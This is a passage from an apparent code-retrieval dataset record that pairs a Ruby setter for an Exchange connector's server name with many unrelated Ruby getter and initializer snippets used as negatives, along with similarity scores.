"def get_server_uri\n @uri_to_set ? @uri_to_set.dup : nil\n end",
"def endpoint\n ENDPOINT[server]\n end",
"def webserver_host\n AgileProxy.config.webserver_host\n end",
"def client_name\n sockname[0]\n end",
"def this_host_name\n if is_zz?\n return zz[:local_hostname]\n end\n\n return @this_host_name if @this_host_name != nil\n\n instances = ey['environment']['instances']\n # assume localhost if can't find\n @this_host_name = 'localhost'\n\n this_id = this_instance_id\n instances.each do |instance|\n if instance['id'] == this_id\n @this_host_name = instance['private_hostname']\n break\n end\n end\n @this_host_name\n end",
"def server_channel\n \"#{access_key}-server\"\n end",
"def server_info\n check_connection\n @protocol.server_info\n end",
"def info\n connection.server_info\n end",
"def hostname\n if (host = @host.at('tag[name=host-fqdn]'))\n host.inner_text\n end\n end",
"def client_name\n return @hostname if defined? @hostname\n\n sockaddr = @socket.getsockname\n begin\n @hostname =\n Socket.getnameinfo( sockaddr, Socket::NI_NAMEREQD ).first\n rescue\n begin\n @hostname = Socket.getnameinfo( sockaddr ).first\n rescue\n begin\n @hostname = Socket.gethostbyname( Socket.gethostname ).first\n rescue\n @logger.error \"the client ipaddr/name could not be determined\"\n end\n end\n end\n\n return @hostname\n end",
"def protocol_name\n rc, name = Cproton.pn_ssl_get_protocol_name(@impl, 128)\n name if rc\n end",
"def get_host\n @host\n end",
"def exchange_alias\n return @exchange_alias\n end",
"def server_name(s)\n (s.respond_to?('name') && s.name) ? s.name : s.identity\n end",
"def get_devserver\n devserver = all_info[:devserver]\n if devserver!=nil\n return devserver.split(':').last\n end\n end",
"def host\n @host || Sapience.config.host\n end",
"def srvhost\n datastore['SRVHOST']\n end",
"def current_server\n @_current_server\n end",
"def current_server\n @_current_server\n end",
"def master_port\n @master_port ||= (user_configuration_from_key('master_solr', 'port') || port).to_i\n end",
"def enterprise_domain\n return @enterprise_domain\n end",
"def protocol_name\n PROTOCOLS[protocol.to_s]\n end",
"def enterprise_internal_proxy_servers\n return @enterprise_internal_proxy_servers\n end",
"def public_hostname_of(server)\n server[:cloud][:public_hostname] rescue public_ip_of(server)\n end",
"def hostname\n raise 'empty hostname, something wrong' if @in_hostname.empty?\n @in_hostname\n end",
"def get_mysql_hostname \n @mysql_hostname = @sequel[\"SELECT @@hostname;\"].first[:@@hostname]\n end",
"def get_mysql_hostname \n @mysql_hostname = @sequel[\"SELECT @@hostname;\"].first[:@@hostname]\n end"
] |
[
"0.75333303",
"0.66325057",
"0.641065",
"0.62787217",
"0.62766993",
"0.6200551",
"0.6103176",
"0.6061351",
"0.6050976",
"0.6041542",
"0.6002608",
"0.5934337",
"0.58371997",
"0.58318084",
"0.5831322",
"0.57122046",
"0.56778574",
"0.5646732",
"0.5601481",
"0.5601481",
"0.55911356",
"0.5560922",
"0.55450284",
"0.5539977",
"0.5535101",
"0.5504702",
"0.5502785",
"0.5487696",
"0.5477275",
"0.54754174",
"0.5454681",
"0.5452437",
"0.5425862",
"0.5422077",
"0.54118216",
"0.54112864",
"0.54019153",
"0.5392334",
"0.53909427",
"0.53773695",
"0.5376236",
"0.53528035",
"0.5332368",
"0.5310133",
"0.5288603",
"0.52880496",
"0.5247832",
"0.52412486",
"0.5239011",
"0.52346015",
"0.5234146",
"0.5190631",
"0.5173194",
"0.51646787",
"0.5164275",
"0.51620203",
"0.51513815",
"0.5148228",
"0.5138172",
"0.5138172",
"0.51227504",
"0.5105423",
"0.51036644",
"0.51005816",
"0.5078991",
"0.505979",
"0.50597376",
"0.5057199",
"0.5057199",
"0.50421494",
"0.50397366",
"0.5037277",
"0.50371444",
"0.50357074",
"0.502855",
"0.5025584",
"0.5025237",
"0.5021058",
"0.50141627",
"0.50066054",
"0.4998005",
"0.49954593",
"0.49920106",
"0.49708635",
"0.49475363",
"0.49418202",
"0.49364996",
"0.4933878",
"0.49285057",
"0.49253076",
"0.4925139",
"0.4925139",
"0.4922479",
"0.49214995",
"0.49181023",
"0.49139774",
"0.4905642",
"0.4904933",
"0.48968098",
"0.48968098"
] |
0.82456285
|
0
|
Sets the connectorServerName property value. The name of the server hosting the Exchange Connector.
|
def connector_server_name=(value)
@connector_server_name = value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def connector_server_name\n return @connector_server_name\n end",
"def exchange_server=(value)\n @exchange_server = value\n end",
"def server_name=(value)\n @server_name = value\n end",
"def set_server_name; self.name = domain; end",
"def hostname=(value)\n @hostname = value\n end",
"def enterprise_proxy_servers=(value)\n @enterprise_proxy_servers = value\n end",
"def connector_id=(value)\n @connector_id = value\n end",
"def server_name(name = nil)\n return @server_name if name.nil?\n @server_name = name.to_sym\n end",
"def set_server(s)\n @server = s\n @this = @this.server(s) if @this\n self\n end",
"def set_server(s)\n @server = s\n @this = @this.server(s) if @this\n self\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def set_Server(value)\n set_input(\"Server\", value)\n end",
"def host_name=(value)\n @hostname = value\n end",
"def enterprise_internal_proxy_servers=(value)\n @enterprise_internal_proxy_servers = value\n end",
"def setserverurl(value)\r\n setvalue(@@SERVER_URL, value)\r\n end",
"def server_name\n return @forwarded_server || @config[:ServerName]\n end",
"def connectors=(value)\n @connectors = value\n end",
"def connectors=(value)\n @connectors = value\n end",
"def servers=(server_hash) # Only in Ruby API (1.3 compatible)\n\t\t@settings.servers = server_hash\n\tend",
"def set_connector\n @connector = Connector.find(params[:id])\n end",
"def domain=(nd)\n self['SERVER_NAME'] = self['HTTP_HOST'] = nd\n end",
"def change_hostname(vid, hostname)\n perform_request(action: 'vserver-hostname', vserverid: vid, hostname: hostname)\n end",
"def hostname=(v)\n v = \"[#{v}]\" if !(v&.start_with?('[') && v&.end_with?(']')) && v&.index(':')\n self.host = v\n end",
"def exchange_connector_type=(value)\n @exchange_connector_type = value\n end",
"def add_name_server(server)\n configure \"ip name-server #{server}\"\n end",
"def set_host(v)\n v = \"\" if v.nil? || v == \"localhost\"\n @host = v\n end",
"def config_server_name\n return if config[:server_name]\n\n if config[:server_name_prefix]\n config[:server_name] = server_name_prefix(\n config[:server_name_prefix]\n )\n else\n config[:server_name] = default_name\n end\n end",
"def server_name\n self.setup\n @server_name ||= self.attributes[\"connection\"]||self.class::DEFAULT_SERVER_NAME\n end",
"def hostname\n unless defined?(@hostname)\n @hostname = solr_url.host if solr_url\n @hostname ||= user_configuration_from_key('solr', 'hostname')\n @hostname ||= default_hostname\n end\n @hostname\n end",
"def hostname=(name)\n if hostname != name\n rebuild_host_file(name, fqdn)\n ssh.exec! \"hostname #{name}\", sudo: true\n ssh.exec! \"echo #{name} > /etc/hostname\", sudo: true\n end\n end",
"def server_name\n return @server_name\n end",
"def set_dockerserver\n @dockerserver = Dockerserver.find(params[:id])\n end",
"def SetServer(host, port)\n assert { host.instance_of? String }\n assert { port.instance_of? Fixnum }\n\n @host = host\n @port = port\n end",
"def set_hostname\n @hostname = Hostname.find_by_name(params[:name])\n end",
"def set_hostname(vm_name, vm_config, hostname)\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n require_string(hostname)\n\n log_info_light(\"#{vm_name}: setting hostname: #{hostname}\")\n vm_config.vm.hostname = hostname\n end",
"def api_connectors=(value)\n @api_connectors = value\n end",
"def setNick(server,nick)\n if(@connectors.has_key?(server))\n @connectors[server].nick=nick\n end\n end",
"def set_hostname(opts = {})\n cmd = command_builder('hostname', opts)\n configure(cmd)\n end",
"def set_hostname(opts = {})\n cmd = command_builder('hostname', opts)\n configure(cmd)\n end",
"def api_connector_configuration=(value)\n @api_connector_configuration = value\n end",
"def fqdn=(name)\n rebuild_host_file(hostname, name) if fqdn != name\n end",
"def set_server_context server_context\n @server_context = server_context\n end",
"def hostname(h)\n @config[:host] = h\n end",
"def server(name, opts)\r\n srv = EventMachine::connect(opts[:host], opts[:port], EventMachine::ProxyServer::Backend) do |c|\r\n c.name = name\r\n c.plexer = self\r\n end\r\n\r\n @servers[name] = srv\r\n end",
"def host=(new_host)\n unless new_host =~ /^http(s)?:\\/\\//\n new_host = \"https://#{new_host}\"\n end\n @host = new_host\n end",
"def set_lb_hostname\n obj_behavior(@deployment, :set_input, \"LB_HOSTNAME\",get_lb_hostname_input)\n end",
"def hostname\n options[:hostname]\n end",
"def set_server_option(opt)\n check_connection\n @protocol.set_option_command opt\n self\n end",
"def master_hostname\n @master_hostname ||= (user_configuration_from_key('master_solr', 'hostname') || hostname)\n end",
"def set_name_servers(opts = {})\n value = opts[:value]\n enable = opts.fetch(:enable, true)\n default = opts[:default] || false\n\n case default\n when true\n cmds = 'default ip name-server'\n when false\n cmds = ['no ip name-server']\n if enable\n value.each do |srv|\n cmds << \"ip name-server #{srv}\"\n end\n end\n end\n configure cmds\n end",
"def connection=(val)\n @@connection = val\n end",
"def servers=(servers)\r\n @servers = {}\r\n servers.each{|s| @servers[s.host] = s}\r\n end",
"def set_ServerID(value)\n set_input(\"ServerID\", value)\n end",
"def set_ServerID(value)\n set_input(\"ServerID\", value)\n end",
"def set_host(v)\n @host = v\n end",
"def configuration_manager_data_connector_configured=(value)\n @configuration_manager_data_connector_configured = value\n end",
"def exchange_alias=(value)\n @exchange_alias = value\n end",
"def host=(value)\n conf['api']['host'] = value\n end",
"def update_config(serverName)\n @admin.updateConfiguration(ServerName.valueOf(serverName))\n end",
"def server_hostname\n @node['serverHostname']\n end",
"def set_connector_type\n @connector_type = ConnectorType.find(params[:id])\n end",
"def set_bot_server\n @bot_server = BotServer.find(params[:id])\n end",
"def setExchangeUrl(exchangeUrl)\n @exchangeUrl = exchangeUrl\n end",
"def issuer_name=(value)\n @issuer_name = value\n end",
"def []=(name, value) \n @server.setAttribute @object_name, javax.management.Attribute.new(name.to_s, value)\n end",
"def set_serverssl(opts)\n opts = check_params(opts,[:serverssls])\n super(opts)\n end",
"def name_server_set\n @gapi.name_server_set\n end",
"def hostname\n name + '.localhost'\n end",
"def host=(value)\n conf['dashboard']['host'] = value\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def set_server\n @server = Server.find(params[:id])\n end",
"def set_hostname\n return unless File.exist?(hostname_path)\n return if File.read(hostname_path).strip == new_hostname\n puts \"Setting local hostname (#{new_hostname})...\"\n write_file(hostname_path, new_hostname)\n `hostname -F /etc/hostname`\n end",
"def supplied_server_name_indication\n @supplied_server_name_indication ||= @node['suppliedServerNameIndication']\n end",
"def exchange_server\n return @exchange_server\n end",
"def set_context(server_key = nil, channel_name = nil)\r\n if server_key != nil && self[server_key].nil?\r\n raise StandardError, 'Bad context'\r\n end\r\n if channel_name != nil && self[server_key][channel_name].nil?\r\n raise StandardError, 'Bad context'\r\n end\r\n @context_server = server_key\r\n @context_channel = channel_name\r\n end",
"def host=(value)\n @host = value\n end",
"def host=(value)\n @host = value\n end",
"def set_ftp_server\n @ftp_server = FtpServer.find(params[:id])\n end",
"def server_domain\n \"Ok EventMachine SMTP Server\"\n end",
"def get_server_domain\n @hostname ||= Socket.gethostname\n end",
"def set_url_host \n @url_host = request.protocol() + request.host_with_port() + '/' \n end",
"def set_domain_name(domain)\n @domain = domain.to_s\n end",
"def setlocal()\n if system(\"hostnamectl set-hostname #{@fqdn}\")\n @log.info(\"Set the localhost hostname to #{@fqdn}.\")\n end\n end",
"def server_host\n AgileProxy.config.server_host\n end",
"def hostname\n @options[:host][:name] if @options[:host]\n end",
"def set_servers(servers)\n servers = Array(servers)\n servers.map! do |server|\n server.is_a?(String) ? server : inspect_server(server)\n end\n super\n end",
"def alias_server_attributes\n @config['server'].each do |key, value|\n instance_variable_set('@' + key, value)\n end\n end",
"def set_exchangeName (exchangeName)\n\t\texchangeMarketNames = {\"nasdaq\" => \"NMS\", \"dowjones\" => \"DJI\", \"sp\" => \"SNP\"}\n\t\texchangeMarketSymbols = {\"NMS\" => \"^IXIC\", \"DJI\" => \"^DJI\", \"SNP\" => \"^GSPC\"}\n\t\tself.exchangeName = exchangeName\n\t\tself.exchangeSymbol = exchangeMarketSymbols[exchangeMarketNames[exchangeName]]\n\tend",
"def update_connector(connector_id, connector, opts = {})\n update_connector_with_http_info(connector_id, connector, opts)\n nil\n end",
"def connector_id\n return @connector_id\n end",
"def x_forwarded_proto=(value)\n @x_forwarded_proto = !!value\n end"
] |
[
"0.6518113",
"0.6077241",
"0.59330666",
"0.57179326",
"0.5488366",
"0.5433407",
"0.53477013",
"0.52949464",
"0.5247825",
"0.5247825",
"0.52453816",
"0.52453816",
"0.52453816",
"0.52453816",
"0.52453816",
"0.52453816",
"0.52453816",
"0.52453816",
"0.5192303",
"0.5189279",
"0.51729965",
"0.51608866",
"0.50595874",
"0.50595874",
"0.49680153",
"0.49427208",
"0.49378282",
"0.491821",
"0.4913966",
"0.48985332",
"0.48651144",
"0.4845159",
"0.48434767",
"0.48213255",
"0.48004904",
"0.4772824",
"0.47695094",
"0.4758126",
"0.47555274",
"0.47480792",
"0.47437054",
"0.47312263",
"0.47268316",
"0.4721596",
"0.4721596",
"0.4696964",
"0.46848089",
"0.46735743",
"0.46425703",
"0.4629483",
"0.46170616",
"0.4614914",
"0.45996708",
"0.45859006",
"0.45745438",
"0.4537992",
"0.45331407",
"0.4518228",
"0.45168793",
"0.45168793",
"0.45158577",
"0.45057893",
"0.45016307",
"0.44613865",
"0.44345242",
"0.44155335",
"0.44097486",
"0.44032565",
"0.44025478",
"0.438914",
"0.43858057",
"0.43460956",
"0.4346054",
"0.43413967",
"0.43366075",
"0.43300354",
"0.43300354",
"0.43300354",
"0.43300354",
"0.43300354",
"0.43186504",
"0.43084565",
"0.43035194",
"0.4302692",
"0.42999807",
"0.42999807",
"0.42957675",
"0.42848772",
"0.4283654",
"0.4279096",
"0.42777792",
"0.42774376",
"0.42701432",
"0.42695487",
"0.4259239",
"0.42550018",
"0.4252346",
"0.42481813",
"0.42463422",
"0.4244124"
] |
0.78974193
|
0
|
Instantiates a new deviceManagementExchangeConnector and sets the default values.
|
def initialize()
super
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize options = {}\n raise \"Token exchange endpoint can not be nil\" if options[:token_exchange_endpoint].nil?\n self.default_connection = options[:connection]\n @token_exchange_endpoint = options[:token_exchange_endpoint]\n end",
"def initialize(consumer, channel, exchange_in, exchange_out)\n @consumer, @channel, @exchange_in, @exchange_out = consumer, channel, exchange_in, exchange_out\n @consumer.add_observer(self)\n @consumer.consumer_manager = self\n end",
"def initialize(channel)\n @consumer_channel = EM::Channel.new\n end",
"def instantiate_exchange\n\n Thread.current['_boss_amqp_exchange'] ||= begin\n\n exc = exchange\n type, name, options = exc\n\n raise ArgumentError.new(\n \"couldn't determine exchange from #{exc.inspect}\"\n ) unless name\n\n exchange_opts = (options || {}).each_with_object({}) { |(k, v), h|\n h[k.to_sym] = v\n }\n\n Bunny::Exchange.new(channel, type.to_sym, name, exchange_opts)\n end\n end",
"def initialize()\n @consumer_channel = EM::Channel.new\n start()\n end",
"def post_init\n @connector = Aeon::Connector.new(self)\n end",
"def post_init\n @connector = Aeon::Connector.new(self)\n end",
"def initialize(connector, oid: nil, raw: nil)\n @connector = connector\n if oid\n initialize_from_service(oid)\n else\n @raw = raw\n end\n end",
"def exchange\n @exchange ||= Exchange.new(@channel, :direct, AMQ::Protocol::EMPTY_STRING, :key => name)\n end",
"def initialize_defaults\n @messenger = @@default_messenger\n @message = Message.new\n end",
"def reset\n self.adapter = DEFAULT_ADAPTER\n self.connection_options = DEFAULT_CONNECTION_OPTIONS\n self.consumer_key = DEFAULT_CONSUMER_KEY\n self.consumer_secret = DEFAULT_CONSUMER_SECRET\n self.endpoint = DEFAULT_ENDPOINT\n self.xauth_username = DEFAULT_XAUTH_USERNAME\n self.xauth_password = DEFAULT_XAUTH_PASSWORD\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n self.logger = DEFAULT_LOGGER\n self\n end",
"def mock_exchange(opts={})\n MockExchange.new(opts)\n end",
"def initialize(options = {})\n Emma::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", options[key] || Emma.instance_variable_get(:\"@#{key}\"))\n end\n @default_params = {:basic_auth => {:username => @public_key, :password => @private_key}}\n end",
"def initialize(config, &block)\n @logger = DXLClient::Logger.logger(self.class.name)\n\n @reply_to_topic = \"#{REPLY_TO_PREFIX}#{config.client_id}\"\n\n @subscriptions = Set.new\n @subscription_lock = Mutex.new\n\n @mqtt_client = MQTTClientAdapter.new(config)\n @connection_manager = ConnectionManager.new(config,\n @mqtt_client,\n object_id)\n @callback_manager = create_callback_manager(config)\n @request_manager = RequestManager.new(self, @reply_to_topic)\n @service_manager = ServiceManager.new(self)\n\n initialize_mqtt_client\n handle_initialization_block(block)\n end",
"def initialize\n\n @connection_options = Baton.configuration.connection_opts\n @amqp_hosts = Baton.configuration.amqp_host_list\n\n logger.info \"Connecting to AMQP host: #{@connection_options[:host]}\"\n\n @connection = AMQP.connect(@connection_options)\n @channel = AMQP::Channel.new(@connection)\n @channel.auto_recovery = true\n\n # Not everything needs an input exchange, default to the \"\" exchange if there isn't\n # one defined in the config (monitors for example)\n Baton.configuration.exchange = '' if Baton.configuration.exchange.nil?\n\n # Create the exchanges\n @exchange_in = channel.direct(Baton.configuration.exchange)\n @exchange_out = channel.direct(Baton.configuration.exchange_out)\n\n # Attach callbacks for error handling\n @connection.on_tcp_connection_loss(&method(:handle_tcp_failure))\n @connection.on_skipped_heartbeats(&method(:handle_tcp_failure))\n @channel.on_error(&method(:handle_channel_exception))\n end",
"def initialize(connection, exchange_name, options={})\n @connection = connection\n @exchange_name = exchange_name.to_s\n @options = options\n end",
"def initialize \n\t\t@config = nil\n\t\t@defaultChannel = 0\n\t\t@previousChannel = 0\n\t\t@currentChannel = 0\n\tend",
"def initialize(demands=0, numChanges=2, duration=120)\n @duration=duration\n @numChanges=numChanges\n @maxBitrate=5000\n \n @receiverApps = Orbit::ApplicationContainer.new\n @itgManagers = Orbit::ApplicationContainer.new\n @daemons = Orbit::ApplicationContainer.new\n\n self.DefProperties\n\n @algo=property.algo.to_s\n @maxChannelChanges=property.maxNumChannelChanges\t\n \n #if (property.demands!=nil)\n @demands=Array.new\n property.demands.to_s.split(\",\").each do |demand|\n\t@demands << Float(demand)\n end\n #end\n \n if (property.initialDemands.to_s!=\"\")\n @initial_demands=Array.new\n property.initialDemands.to_s.split(\",\").each do |demand|\n\t@initial_demands << Float(demand)\n end\n end\n\n if (property.dontassign.to_s!=\"\")\n\t@assign=false\n else\n\t@assign=true\n end\n\n @extraDelay=0\n if (property.extraDelay.to_s!=\"\")\n\t@extraDelay=property.extraDelay\n end\n \n @protocols=property.protocol.to_s.split(\",\")\n \n end",
"def initialize(room = AMQ::Protocol::EMPTY_STRING)\n @room = room\n @connection = AMQPChannelBroker.get_connection(env.rabbit_conf)\n @consumer_channel = EM::Channel.new\n end",
"def initialize\n # API support utilizes excon, if it isn't found an error will be raised\n require 'excon'\n\n # rXg production environments should ALWAYS have a valid certificate\n # If no valid certificate for device uncomment line below\n # Excon.defaults[:ssl_verify_peer] = false\n\n # Configure a static device address and API key here\n # Device address format example: https://google.com\n @device_address = set_device_address\n @device_api_key = set_api_key(@device_address)\n end",
"def connect(connector = ::Stomp::Connection)\n if @connection\n Log.debug(\"Already connection, not re-initializing connection\")\n return\n end\n begin\n host = nil\n port = nil\n user = nil\n password = nil\n @@base64 = false\n\n @@base64 = get_bool_option(\"stomp.base64\", false)\n @@msgpriority = get_option(\"stomp.priority\", 0).to_i\n\n # Maintain backward compat for older stomps\n host = get_env_or_option(\"STOMP_SERVER\", \"stomp.host\")\n port = get_env_or_option(\"STOMP_PORT\", \"stomp.port\", 6163).to_i\n user = get_env_or_option(\"STOMP_USER\", \"stomp.user\")\n password = get_env_or_option(\"STOMP_PASSWORD\", \"stomp.password\")\n\n #TODO: assume reactor is running already\n @connection = EM.connect host, port, StompClient, :login => user, :passcode => password\n Log.debug(\"Connecting to #{host}:#{port}\")\n rescue Exception => e\n pp e.backtrace[0..5]\n raise(\"Could not connect to Stomp Server: #{e}\")\n end\n end",
"def initialize(endpoint: \"https://portal.xmedius.com\", locale: \"en\", **options)\n raise SendSecureException.new(\"API Token must be provided\") if options[:api_token] == nil\n @locale = locale\n @enterprise_account = options[:enterprise_account]\n @endpoint = endpoint\n @api_token = options[:api_token]\n @sendsecure_endpoint = get_sendsecure_endpoint\n @user_id = options[:user_id]\n end",
"def initialize(device_info)\n super()\n\n @device_info = device_info\n log \"<#{self.class}> Got device info: #{@device_info}\"\n @device_list = []\n @service_list = []\n @icon_list = []\n @xmlns = \"\"\n @done_creating_devices = false\n @done_creating_services = false\n end",
"def initialize(connection_opts, transport, logger)\n super\n @shell_uri = WinRM::WSMV::Header::RESOURCE_URI_POWERSHELL\n end",
"def init!\n debug 'Running consumer `init!` connection builds'\n found = discovery.lookup(topic)\n debug \"Discovery results: #{found.inspect}\"\n connection = nil\n found.each do |node|\n debug \"Processing discovery result: #{node.inspect}\"\n key = Connection.identifier(node[:broadcast_address], node[:tcp_port], topic, channel)\n unless(connections[key])\n connection = build_connection(node[:broadcast_address], node[:tcp_port], queue)\n info \"Registered new connection #{connection}\" if register(connection)\n else\n debug \"Discovery result already registered: #{node.inspect}\"\n end\n end\n distribution.redistribute! if connection\n nil\n end",
"def init!\n debug 'Running consumer `init!` connection builds'\n found = discovery.lookup(topic)\n debug \"Discovery results: #{found.inspect}\"\n connection = nil\n found.each do |node|\n debug \"Processing discovery result: #{node.inspect}\"\n key = Connection.identifier(node[:broadcast_address], node[:tcp_port], topic, channel)\n unless(connections[key])\n connection = build_connection(node[:broadcast_address], node[:tcp_port], queue)\n info \"Registered new connection #{connection}\" if register(connection)\n else\n debug \"Discovery result already registered: #{node.inspect}\"\n end\n end\n distribution.redistribute! if connection\n nil\n end",
"def initialize\n get_enterprise_token\n initialize_client\n end",
"def initialize(opts)\n super # takes declared attributes from options\n args = opts.values_at(:client_id, :brokers, :topic, :partition, :offset)\n @connection = DRIVER.consumer_for_partition(*args, attributes)\n @mutex = Mutex.new\n end",
"def initialize(options) # @todo: Refactor using factory method Connection.build_producer\n super # takes declared attributes only, skipping brokers and client_id\n brokers = options.fetch(:brokers)\n client = options.fetch(:client_id)\n @connection = DRIVER.new(brokers, client, attributes)\n @mutex = Mutex.new\n end",
"def initialize (io_dev, address = 0)\n @io_dev = io_dev\n @address = address\n end",
"def wsman_initialize client, epr_or_uri, node\n# STDERR.puts \"Wbem::WsmanInstance.new epr_or_uri #{epr_or_uri}\"\n @node = node.body.child rescue node\n# STDERR.puts \"Wsman::Instance.new @node #{@node.class}\"\n @epr = (epr_or_uri.is_a? Openwsman::EndPointReference) ? epr_or_uri : Openwsman::EndPointReference.new(epr_or_uri) if epr_or_uri\n @client = client\n end",
"def initialize\n yield self if block_given?\n\n @management_endpoint ||= DEFAULT_MANAGEMENT_ENDPOINT\n @source ||= 'ruby'\n @default ||= false\n @environment_name ||= 'AzureCloud'\n end",
"def initialize(config = Beetle.config)\n @config = config\n @exchanges = {}\n @queues = {}\n @messages = {}\n @bindings = {}\n @deduplication_store = DeduplicationStore.new(config)\n @queue_properties = QueueProperties.new(config)\n load_brokers_from_config\n register_exchange(config.beetle_policy_exchange_name)\n # make sure dead lettering is false for the policy update queue\n register_queue(\n config.beetle_policy_updates_queue_name,\n :exchange => config.beetle_policy_exchange_name,\n :key => config.beetle_policy_updates_routing_key,\n :dead_lettering => false,\n :lazy => false,\n )\n end",
"def initialize(connector, environment)\n @connector = connector\n @environment = environment\n @source_mapper = @connector.source_mapper.class\n @target_aliases = @connector.target_aliases\n @target_model = @connector.target_model\n @relationship_name = @connector.relationship.name\n @collection = @connector.collection_target?\n\n @mapper = build\n end",
"def initialize\n @mparams = BasicHttpParams.new\n @cparams = BasicHttpParams.new\n\n @manager_params = ConnManagerParamBean.new( @mparams )\n @client_params = ClientParamBean.new( @cparams )\n @connection_params = HttpConnectionParamBean.new( @cparams )\n\n @client = nil\n @connection_manager = nil\n @retry_handler = nil\n end",
"def initialize(debug = false, drop_reply = false, connect_timeout = 5)\r\n @debug = debug\r\n @connected = EM::DefaultDeferrable.new\r\n @drop_reply = drop_reply\r\n @connect_timeout = connect_timeout\r\n end",
"def initialize()\n super\n @odata_type = \"#microsoft.graph.windows10EndpointProtectionConfiguration\"\n end",
"def initialize(device_uuid, secret)\n @device_uuid = device_uuid\n @secret = secret\n end",
"def initialize(user, password, application_name, host=\"192.168.0.8\", port=3790, mode='multiUser')\n @user = user\n @password = password\n @application_name = application_name\n @host = host\n @port = port\n @mode = mode\n @ticket = nil\n @soap_client = nil \n end",
"def initialized_adapter\n adapter.new(adapter_options)\n end",
"def initialize(props = {}, &block)\n # instance-level over ride of class plugins\n @broker = nil\n @serializer = nil\n @logger = nil\n\n attributes = {\n _sm_header: SmartMessage::Header.new(\n uuid: SecureRandom.uuid,\n message_class: self.class.to_s,\n published_at: 2,\n publisher_pid: 3\n )\n }.merge(props)\n\n super(attributes, &block)\n end",
"def initialize\n set_defaults\n end",
"def initialize\n set_defaults\n end",
"def initialize(connect_options)\n connect_options = keys_to_symbol(connect_options)\n\n raise ArgumentError, 'database adapter is required' unless connect_options.has_key?(:adapter)\n raise ArgumentError, 'database host is required' unless connect_options.has_key?(:host)\n raise ArgumentError, 'database port is required' unless connect_options.has_key?(:port)\n raise ArgumentError, 'database username is required' unless connect_options.has_key?(:username)\n raise ArgumentError, 'database password is required' unless connect_options.has_key?(:password)\n raise ArgumentError, 'database database is required' unless connect_options.has_key?(:database)\n\n if connect_options[:adapter].eql? \"mysql2\"\n @client = Mysql2::Client.new(\n host: connect_options[:host],\n port: connect_options[:port],\n username: connect_options[:username],\n password: connect_options[:password],\n database: connect_options[:database]\n )\n else\n raise ArgumentError, 'for a while only mysql2 adapter is supported'\n end\n \n end",
"def initialize(authentication = nil)\n if authentication.nil? || authentication.is_a?(String)\n config_file = authentication.nil? ? 'config/has_offers.yml' : authentication\n @authentication = YAML::load(IO.read(config_file)) if File.exists?(config_file)\n elsif authentication.is_a?(Hash)\n @authentication = authentication\n end\n @default_params = { 'Format' => 'json',\n 'Service' => 'HasOffers',\n 'Version' => '2',\n 'NetworkId' => @authentication['network_id'],\n 'NetworkToken' => @authentication['api_key'] }\n self.debug_mode = false\n self.test_mode = false\n end",
"def initialize(sub_addr = \"tcp://localhost:14532\",\n dealer_addr = \"tcp://localhost:14533\",\n filters = [\":PRIVMSG\",\n \":INVITE\",\n \":JOIN\",\n \":BOOT\",\n \":PART\"])\n \n @sub_addr, @dealer_addr, @filters = sub_addr, dealer_addr, filters\n @sub_sock = Clubot.ctx.socket ZMQ::SUB\n @dealer_sock = Clubot.ctx.socket ZMQ::DEALER\n end",
"def initialize\n @exchanges = {}\n end",
"def initialize( * )\n\t\t@multicast_address = self.class.multicast_address\n\t\t@port = self.class.port\n\t\t@socket = self.create_socket\n\tend",
"def initialize\n super\n\n @component_name = @component_name.snakecase\n @component_type = Automation::Component::DatabaseType\n @connected = false\n\n # Database details from the configuration.\n @database_id = @config_manager[\"database.#{@component_name}.database_id\"]\n @adapter = db_config('adapter', default: false)\n raise ConfigurationError.new(\"No adapter defined for database '#{@component_name}.#{@database_id}'\") unless @adapter\n # Get the adapter specific connection specification and establish the connection on all required models.\n @connection_config = db_connection_config\n end",
"def initialize(details)\n @offer_definition_id = details.offerDefinitionId\n @offer_instance_id = details.offerInstanceId\n @offer_amount = details.offerAmount\n @offer_currency = details.offerCurrency\n end",
"def initialize\n\t\tsuper\n\n\t\t@socket = UDPSocket.new\n\t\t@amqp_session = nil\n\t\t@amqp_channel = Concurrent::ThreadLocalVar.new { @amqp_session.create_channel }\n\t\t@amqp_exchange = Concurrent::ThreadLocalVar.new do\n\t\t\t@amqp_channel.value.headers( self.class.exchange, passive: true )\n\t\tend\n\t\t@processing = false\n\tend",
"def set_connector\n @connector = Connector.find(params[:id])\n end",
"def initialize()\n super\n @odata_type = \"#microsoft.graph.androidGeneralDeviceConfiguration\"\n end",
"def initialize (&proc)\n @topic_map = {} # A hash with string names as keys\n # and topics as values.\n \n @theme_map = {} # A hash with string names as keys\n # and Themes as values.\n\n @destination_map={} # The different possible destinations for trace\n # messages. A hash with string names as keys\n # and Destinations as values.\n\n @default_destinations=[] # The destinations selected by default.\n # An array of strings.\n\n @default_theme=nil # String name of the default theme.\n\n @default_thresholds={} # Interface is a 2D hash of\n # [Theme_name][Destination_name] that\n # yields the String name of the default\n # threshold for messages of that theme\n # going to that destination.\n\n @topics_with_methods = [] # Topics that have had add_method_for_topic\n # called for them. Needed so that topic\n # methods can be added twice while still\n # preventing predefined methods from being\n # overridden.\n\n @environment=Environment.new # The Environment applicable to this.\n\n @monitor = Monitor.new # Thread safety\n\n instance_eval(&proc) if proc\n\n @theme_map.each_key { | theme_name |\n @destination_map.each_key { | dest_name |\n default = @environment.global_default(theme_name, dest_name)\n if default\n theme_and_destination_use_default(theme_name, dest_name, default)\n end\n }\n }\n\n # If there is a default theme, this Connection is itself a topic\n # with that theme. If there isn't one, it makes no sense for the\n # Connection to be a topic. A topic about what?\n if @default_theme\n super(\"\", self, {})\n Internal.trace.announce \"Created connection (theme #{@default_theme}).\"\n else\n 